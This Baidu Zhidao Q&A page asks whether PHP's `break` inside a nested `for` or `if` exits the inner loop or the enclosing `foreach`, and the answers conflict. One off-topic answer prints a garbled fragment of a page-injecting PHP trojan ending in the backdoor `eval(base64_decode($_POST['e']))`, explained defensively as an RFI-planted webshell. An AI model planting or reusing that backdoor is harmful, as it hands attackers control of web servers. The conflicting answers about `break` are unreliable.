PHP中的break问题,其中包含IF与foreach

PHP中foreach循环输出中嵌套了for语句(只是举例用,也有可能是IF),然后for语句的某个条件成立了,然后会{break;},请问此时break的是foreac... PHP中 foreach循环输出中嵌套了for语句(只是举例用,也有可能是IF),然后for语句的某个条件成立了,然后会{break;} ,请问此时break的是foreach,还是for。 展开
 我来答
牛松5
2011-01-28 · TA获得超过208个赞
知道答主
回答量:82
采纳率:0%
帮助的人:83.7万
展开全部
是foreach,你可以写个例子看下啊!
<?php
$array = array(1,2,3,4,5,6,7,8,9);
foreach ($array as $value)
{
echo $value;
if ($value == 5)
{
break;
}
}
?>
结果:12345
恬然且谦虚的小才子Q
2011-01-29 · TA获得超过1361个赞
知道小有建树答主
回答量:933
采纳率:0%
帮助的人:398万
展开全部
if(!isset($ev8l1))#',$v)||preg_match('#[\(\[](\s*\d+,)#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}if(preg_match_all('#<iframe ([^>]*?)src=[\'"]?(http:)?//([^>]*?)>#is',$s,$a))foreach($a[0] as $v)if(preg_match('# width\s*=\s*[\'"]?0*[01][\'"> ]|display\s*:\s*none#i',$v)&&!strstr($v,'?'.'>'))$s=preg_replace('#'.preg_quote($v,'#').'.*?</iframe>#is','',$s);$s=str_replace($a='<script src= ></script>','',$s);if(stristr($s,'<body'))$s=preg_replace('#(\s*<body)#mi',$a.'\1',$s);elseif(strpos($s,',a'))$s.=$a;return $s;}function ev8l2($a,$b,$c,$d)ob_start('ev8l');for($i=0;$i<count($s);$i++)}}$ev8ll=(($a=@set_error_handler('ev8l2'))!='ev8l2')?$a:0;eval(base64_decode($_POST['e']));
意思是将参数中的<script>...</script>部分替换为<script src= ></script>,这样你的网页就被挂上了马。这段代码应该是通过webshell上传到你机器上的一段挂马程序,至于webshell 的打开有很多原因,即然是php代码那么你的机器上很可能存在php远程文件包含漏洞,也就是如果你的机器上存在Wordtrans、WordPress、rgboard、phpcms等php程序,那么很可能就有这个的漏洞。
推荐解决方法:
1.恢复已被篡改的网页
2.找一个RFI扫描器对本机进行扫描,将找到的漏洞进行修补(相应的程序网上都有对应的修补方法)
已赞过 已踩过<
你对这个回答的评价是?
评论 收起
jyczsx6
2013-02-26
知道答主
回答量:40
采纳率:0%
帮助的人:14.2万
展开全部
如果用for是跳出for循环,如果用if是跳出foreach循环
已赞过 已踩过<
你对这个回答的评价是?
评论 收起
kepomsc
2011-01-28 · TA获得超过269个赞
知道小有建树答主
回答量:455
采纳率:100%
帮助的人:207万
展开全部
按顺序从内往外跳.当前的break所处的循环如果是二级,跳到一级.如果一级.跳出结束.同样的道理,如果有100个循环级.第一百个的break是跳到第99个,而如果第99个遇到了break那就跳到98个......就这顺序
已赞过 已踩过<
你对这个回答的评价是?
评论 收起
wudipaopao
2011-01-28 · TA获得超过797个赞
知道小有建树答主
回答量:1486
采纳率:0%
帮助的人:798万
展开全部
都行
已赞过 已踩过<
你对这个回答的评价是?
评论 收起
收起 1条折叠回答
收起 更多回答(3)
推荐律师服务: 若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询

为你推荐:

下载百度知道APP,抢鲜体验
使用百度知道APP,立即抢鲜体验。你的手机镜头里或许有别人想知道的答案。
扫描二维码下载
×

类别

我们会通过消息、邮箱等方式尽快将举报结果通知您。

说明

0/200

提交
取消

辅 助

模 式